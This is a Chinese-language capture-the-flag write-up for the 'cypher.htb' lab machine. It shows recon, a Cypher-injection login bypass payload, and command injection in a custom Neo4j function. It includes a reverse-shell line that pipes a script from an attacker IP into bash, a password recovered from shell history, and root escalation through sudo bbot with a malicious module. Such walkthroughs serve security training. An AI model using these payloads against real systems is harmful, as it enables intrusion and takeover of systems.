端口扫描与侦察
Nmap扫描显示目标开放SSH(22)和HTTP(80)端口:
1
2
|
nmap -p- --min-rate 10000 10.10.11.57
nmap -p 22,80 -sCV 10.10.11.57
|
网站重定向到cypher.htb
,需将其添加到hosts文件。
网站分析
网站为Graph ASM应用,使用Neo4J图数据库。Feroxbuster目录扫描发现:
/login
- 登录页面
/api/auth
- 认证端点(405方法错误)
/testing/
- 目录遍历,包含JAR文件
JAR文件逆向分析
下载custom-apoc-extension-1.0-SNAPSHOT.jar
,使用jadx-gui分析发现CustomFunctions
类中的getUrlStatusCode
函数存在命令注入漏洞:
1
2
|
String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
Process process = Runtime.getRuntime().exec(command);
|
Cypher注入绕过登录
登录查询存在SQL注入式漏洞:
1
|
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{input}' return h.value as hash
|
使用注入payload绕过认证:
1
|
' OR true return "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash;//
|
命令注入利用
认证后网站提供图形查询功能,其中"HTTP Statuses"查询使用漏洞函数:
1
|
MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCode
|
直接调用漏洞函数实现RCE:
1
|
CALL custom.getUrlStatusCode("localhost; id") YIELD statusCode
|
获取反向shell:
1
|
CALL custom.getUrlStatusCode("cypher.htb; curl 10.10.14.6/shell | bash; ") YIELD statusCode Return statusCode
|
横向移动
在neo4j用户的.bash_history
中发现密码:
1
|
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
|
该密码可用于切换到graphasm用户。
权限提升
graphasm用户可无密码以root权限运行bbot工具:
方法一:文件读取
1
|
sudo bbot -w /root/root.txt -d
|
方法二:自定义模块执行
创建配置文件0xdf.yml
:
1
2
3
4
|
modules:
- ExploitModule
module_dirs:
- /dev/shm/
|
创建恶意模块ExploitModule.py
:
1
2
|
import os
os.system("bash")
|
执行获取root shell:
1
|
sudo bbot -p ./0xdf.yml
|
额外发现
- 存在未授权访问的
/api/cypher
端点
- 网站采用Docker容器架构,前端nginx反向代理到后端FastAPI应用
- 详细的网络服务器配置分析